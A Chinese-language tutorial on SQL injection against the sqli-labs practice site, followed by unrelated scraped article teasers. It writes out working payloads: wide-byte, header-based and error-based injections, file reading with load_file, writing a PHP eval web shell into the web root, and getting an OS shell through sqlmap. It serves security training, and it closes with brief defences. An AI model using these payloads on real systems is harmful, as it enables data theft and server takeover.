SQL注入漏洞 其他注入
文章目录
- 宽字节注入
- 案例
- HTTP头部注入
- Cookie注入
- base64
- User-Agent注入
- Referer 注入
- SQL注入读写文件
- 条件
- 1.是否拥有读写权限
- 2.文件路径
- 3.secure_file_priv
- 读取文件
- 写入文件
- SQLMap
- 安装sqlmap
- kail 源安装
- 仓库克隆
- 参数简介
- 快速入门;SQLmap(常规)使用步骤
- POST注入方法
- GetShell
- SQL 注⼊漏洞防御
宽字节注入
宽字节注入是用在引号闭合前有转义字符\的他会让闭合引号失效,根据gbk编码前面加一个%变成url编码后再在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。
从而逃过转义限制
案例
在sqli-labs中less-32关中就有体现
进入关卡
寻找注入点
发现变化进行单引号闭合发现被转义
在闭合前加入字符81进行url编码%81连接后门的\的字符编码将\变为汉字失去转义功能
出现报错信息进行报错注入http://10.9.47.77/sqli-labs/Less-32/?id=2%81%27and%20updatexml(1,concat(0x5E,(select%20database()),0x5E),1)--+
http://10.9.47.77/sqli-labs/Less-32/?id=2%81'and updatexml(1,concat(0x3A,(select version()),0x3A),1)--+
HTTP头部注入
Cookie注入
对网页内容进行抓包在Cookie字段进行引号闭合寻找注入点
发现报错写入报错注入语句用#号闭合
如果#号无法闭合猜测后面还有单引号 可以使用 and ‘1进行闭合
base64
注入的参数需要进行base64 编码
在sqli-labs中less-22关中就有体现登录后发现cookie进行了编码
将cookie换成admin “进行闭合然后base64编码后发现报错存在sql注入
通过admin " order by 3 # 语句发现他的列数为3
使用联合查询爆出数据库名和版本admin " and 1=2 union select 1,version(),database() #
User-Agent注入
修改http头文件里的user-agent字段
User-Agent: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
在
sqli-labs18关有体现
登录后我们可以看到浏览器指纹信息尝试在里面sql注入
进行报错注入
Referer 注入
在Referer 字段中注入sql语句
Referer: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and ‘1
在sqli-labs-19中就有体现
我们在头文件里进行注入找到’ and '1进行闭合插入
加入sql语句
SQL注入读写文件
条件
1.是否拥有读写权限
想要进行文件读写需要检测用户是否拥有文件权限
?id=2 and 1=2 union select 1,user(),3 #
得到当前登录的用户名进行权限查询
?id=2 and 1=2 union select 1,user(),file_priv from mysql.user where user='root' and host = 'localhost' #
2.文件路径
读写时文件必须使用绝对路径
3.secure_file_priv
mySQL 数据库有关于文件读写的安全选项 secure_file_priv。
secure_file_priv 参数限制了 mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改 my.ini 配置文件,并重启 mysql 数据库。
在数据库中也可以查看
show global variables like '%secure_file_priv%';
参数 | 含义 |
---|---|
secure_file_priv=NULL | 限制 mysqld 不允许导入导出操作。 |
secure_file_priv=‘c:/ajest/’ | 限制 mysqld 的导入导出操作在某个固定目录下,并且子目录有效。 |
secure_file_priv= | 不对 mysqld 的导入导出操作做限制。 |
本案例为空
读取文件
使用load_file函数进行文件读取
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,load_file("C:\\cms.sql"),3#
可以看到读取到了文件
写入文件
使用into outfile函数
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"<?php @eval ($_REQUEST[777]);?>",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+
文件上传成功
SQLMap
SQLMap 是一款专注于 SQLi 的工具,堪称神器。SQLmap 基于 Python 语言编写的命令行工具,集成在 Kali 中。
安装sqlmap
kail 源安装
sudo apt install sqlmap
仓库克隆
git clone https://github.com/sqlmapproject/sqlmap.git #将仓库克隆到本地
git fetch #检测更新
git pull #更新
参数简介
参数 | 含义 |
---|---|
-u | 检测注入点 |
–dbs | 列出所有的库名 |
–current-user | 当前连接数据库用户的名字 |
–current-db | 当前数据库的名字 |
-D “cms” | 指定目标数据库为 cms |
–tables | 列出数据库中所有的表名 |
-T “cms_users” | 指定目标表名为 cms_users |
–columns | 列出所有的字段名 |
-C ‘username,password’ | 指定目标字段 |
–dump | 列出字段内容 |
-r | 从文件中读取HTTP 请求 |
–os-shell | 在特定情况下,可以直接获得目标系统 Shell |
–level 3 | 设置 sqlmap 检测等级 3 |
–cookie=“username=admin” | 携带 Cookie 信息进行注入 |
-g | 利用 google 搜索引擎自动搜索注入点 |
–batch | 使用默认选项 |
–random-agent | 使用随机 User-Agent 信息 |
-v 3 | 显示 payload |
快速入门;SQLmap(常规)使用步骤
1、检测「注入点」
sqlmap -u 'http://xx/?id=1'
2、查看所有「数据库」
sqlmap -u 'http://xx/?id=1' --dbs
3、查看当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
4、查看「数据表」
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
5、查看「字段」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables
6、查看「数据」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
POST注入方法
将遇到post请求在bp进行抓包将请求头文件放入一个文件里
使用
sqlmap -r 文件名
就可以跑post请求了
GetShell
-
受到 secure_file_priv 选项的限制;
-
填写路径时要写目标系统 Web 根目录的绝对路径
-
目录权限
启动sqlmap.\sqlmap.py -u "http://10.9.47.77/sqli-labs/Less-2/?id=2" --os-shell
可以看到引进进入选择一个语言然后选着自定义写入一个正确的绝对路径即可反弹
SQL 注⼊漏洞防御
-
避免采用拼接的方式构造 SQL 语句,可以采用PDO预编译等技术;
-
对进入 SQL 语句的参数进行足够过滤。
-
部署安全设备,如 WAF。定制武器库
利用编程语言写一些小工具。通过对工具的改造,达到定制化的目的,适用于不同的实战场景。
相关文章:

SQL注入漏洞 其他注入
文章目录 宽字节注入案例 HTTP头部注入Cookie注入base64User-Agent注入Referer 注入 SQL注入读写文件条件1.是否拥有读写权限2.文件路径3.secure_file_priv 读取文件写入文件 SQLMap安装sqlmapkail 源安装仓库克隆 参数简介快速入门;SQLmap(常规…...

Java自学第2课:Java语言基础知识要点
1 Java主类结构 任务:创建新项目名为item,包名为number,类名为first。 1.1 包声明 不指定包时,默认就是工程名,指定后,类文件可以分类了,是这意思吧。包就大概等于一个文件夹。而且在类文件中…...
flink状态和检查点
检查点和状态后端的区别 检查点 就是某个时间点下的所有算子的状态快照。这个时间点就是等所有任务将“同一个数据”处理完毕的时候。 状态后端:是一个管理状态的组件,还负责将本地状态(检查点)持久化到远程文件存储系统中。 分…...

数据仓库工具箱-零售业务
文章目录 一、维度模型设计的4步过程1.1 第一步:选择业务过程1.2 第二步:声明粒度1.3 第三步:确定维度1.4 第四步:确定事实 二、零售业务案例研究2.1 第一步:选择业务过程2.2 第二步:声明粒度2.3 第三步&am…...

网络工程实验记录
网络工程 show ip route show running-config 第一周 相同设备使用交叉线,不同设备之间使用直通线 R1能ping通10.1.1.1 R2能ping通所有的 R3能ping通172.16.1.1 即路由器只能到达自身线连接出去的,另一端就连接不了了。 此时给R1分配静态路由 R…...

Danswer 接入 Llama 2 模型 | 免费在 Google Colab 上托管 Llama 2 API
一、前言 前面在介绍本地部署免费开源的知识库方案时,已经简单介绍过 Danswer《Danswer 快速指南:不到15分钟打造您的企业级开源知识问答系统》,它支持即插即用不同的 LLM 模型,可以很方便的将本地知识文档通过不同的连接器接入到…...
react:路由
官方文档:https://reactrouter.com/en/main/start/overview#pending-navigation-ui 一:简单版本 先 npm i react-router-dom main.ts中内容替换为 import ReactDOM from react-dom/client import App from ./App.tsx import ./index.css import {creat…...
【AI工具】手把手带你使用Gradio分享你的模型
手把手带你使用Gradio分享你的模型 1. 快速入门2. 基本参数|支持的接口2.1 Interface类以及基础模块2.2 组件属性2.3 多输入输出组件2,4 图像组件2.5 Chatbots2.6 动态界面接口2.7 Blocks:更具灵活性和调控性2.7.1 Blocks入门2.7.2 更复杂的Blocks3. 分享自定义采样训练参考资…...

海洋专用cmocean颜色包_共22种--全平台可用
海洋专用cmocean颜色包_共22种–全平台可用 往期推荐: Python语言_matplotlib包_共80种–全平台可用 Python语言_single_color_共140种–全平台可用 R语言_RColorBrewer包–全平台可用 R语言gplots包的颜色索引表–全平台可用 R语言中的自带的调色板–五种–全平台…...

uni-app多端开发
uni-app 多端开发 一、命令创建uni-app 项目二、在微信小程序后台找到 appId 填写 appId三、运行项目四、使用 uni-ui4-1、下载4-2、自动导入4-3、ts项目下载类型校验 (uni-ui 组件库)4-3-1、下载4-3-2、配置 五、持久化 pinia六、数据请求封装七、获取组…...

Linux中固定ip端口和修改ip地址
一,更改虚拟网络编辑器 1,首先启动VMware,选择自己要更改ip或固定ip的虚拟机,并找到虚拟网络配编辑器,点击进入 2,进入之后需要点击右下角获取管理员权限后才能修改,有管理员权限之后图片如下 …...
csdn初始模板【自用】
这里写自定义目录标题 欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个…...
2311rust无畏并发.
原文 Rust无畏并发 Rust是为了解决两个麻烦问题: 1,如何安全系统编程 2,如何无畏并发 最初,这些问题似乎是无关的,但令惊讶的是,方法竟然是相同的:使Rust安全的相同工具也可帮助解决并发问题. 内存安全和并发错误,一般认为是代码在不应访问数据时访问数据.Rust依靠所有权为…...

阿里云中的云服务器的ubuntu中的vim没有显示行号
没有行号: 在终端输入命令: vim ~/.vimrc set nu...
Golang 在 Mac、Linux、Windows 下如何交叉编译
Golang 支持交叉编译,在一个平台上生成另一个平台的可执行程序。 GOOS:目标平台的操作系统(darwin、freebsd、linux、windows) GOARCH:目标平台的体系架构(386、amd64、arm) 具体组合…...
如何写好一篇学术论文
目录 前言 1.标题和摘要 1.1标题 1.2摘要及关键词 1.2.1摘要 1.2.2关键词 2.正文 2.1引言 2.2问题建模 2.3研究方法及分析 2.4仿真(伪代码) 2.5实验结果及分析 2.6 总结 2.7延深 2.7.1图片处理 2.7.2审稿回复 2.7.3如何避免拒稿 2.7.4写…...

kubernetes资源监控
目录 一、资源限制 1、limitrange 2、ResourceQuota 二、metrics-server 三、图形化监控和代码行监控 1、dashboard 2、k9s 四、hpa 一、资源限制 Kubernetes采用request和limit两种限制类型来对资源进行分配。request(资源需求):即运行Pod的节点必须满足运…...

Bitget Wallet:使用 Base 链购买 ETH 的简明教程
Base 链是一种 Layer 2(L2)公链,它可以为用户提供以太坊(ETH)代币,而 Bitget Wallet 是一款多功能加密货币钱包,支持 Base 链以及其他主要区块链。...

PostgreSQL简介及安装步骤
PostgreSQL简介 PostgreSQL是一款开源的关系型数据库管理系统,具有强大的扩展性、高度的可定制性和可靠的稳定性,因此在企业级应用和开发领域中得到了广泛的应用。本文将介绍PostgreSQL的基本概念以及在各种操作系统上的安装步骤。 安装步骤 1. Window…...

《安富莱嵌入式周报》第326期:航空航天级CANopen协议栈,开源USB PD电源和功耗分析,开源EtherCAT伺服驱动板,时序绘制软件,现代机器人设计
周报汇总地址:嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Powered by Discuz! 更新一期视频教程: BSP视频教程第28期:CANopen协议栈专题,CANopen主从机组网实战&a…...

shell脚本--常见案例
1、自动备份文件或目录 2、批量重命名文件 3、查找并删除指定名称的文件: 4、批量删除文件 5、查找并替换文件内容 6、批量创建文件 7、创建文件夹并移动文件 8、在文件夹中查找文件...

Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...

UDP(Echoserver)
网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法:netstat [选项] 功能:查看网络状态 常用选项: n 拒绝显示别名&#…...

CocosCreator 之 JavaScript/TypeScript和Java的相互交互
引擎版本: 3.8.1 语言: JavaScript/TypeScript、C、Java 环境:Window 参考:Java原生反射机制 您好,我是鹤九日! 回顾 在上篇文章中:CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...

微服务商城-商品微服务
数据表 CREATE TABLE product (id bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 商品id,cateid smallint(6) UNSIGNED NOT NULL DEFAULT 0 COMMENT 类别Id,name varchar(100) NOT NULL DEFAULT COMMENT 商品名称,subtitle varchar(200) NOT NULL DEFAULT COMMENT 商…...

智能仓储的未来:自动化、AI与数据分析如何重塑物流中心
当仓库学会“思考”,物流的终极形态正在诞生 想象这样的场景: 凌晨3点,某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径;AI视觉系统在0.1秒内扫描包裹信息;数字孪生平台正模拟次日峰值流量压力…...

听写流程自动化实践,轻量级教育辅助
随着智能教育工具的发展,越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式,也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建,…...

Aspose.PDF 限制绕过方案:Java 字节码技术实战分享(仅供学习)
Aspose.PDF 限制绕过方案:Java 字节码技术实战分享(仅供学习) 一、Aspose.PDF 简介二、说明(⚠️仅供学习与研究使用)三、技术流程总览四、准备工作1. 下载 Jar 包2. Maven 项目依赖配置 五、字节码修改实现代码&#…...

Golang——6、指针和结构体
指针和结构体 1、指针1.1、指针地址和指针类型1.2、指针取值1.3、new和make 2、结构体2.1、type关键字的使用2.2、结构体的定义和初始化2.3、结构体方法和接收者2.4、给任意类型添加方法2.5、结构体的匿名字段2.6、嵌套结构体2.7、嵌套匿名结构体2.8、结构体的继承 3、结构体与…...
SpringAI实战:ChatModel智能对话全解
一、引言:Spring AI 与 Chat Model 的核心价值 🚀 在 Java 生态中集成大模型能力,Spring AI 提供了高效的解决方案 🤖。其中 Chat Model 作为核心交互组件,通过标准化接口简化了与大语言模型(LLM࿰…...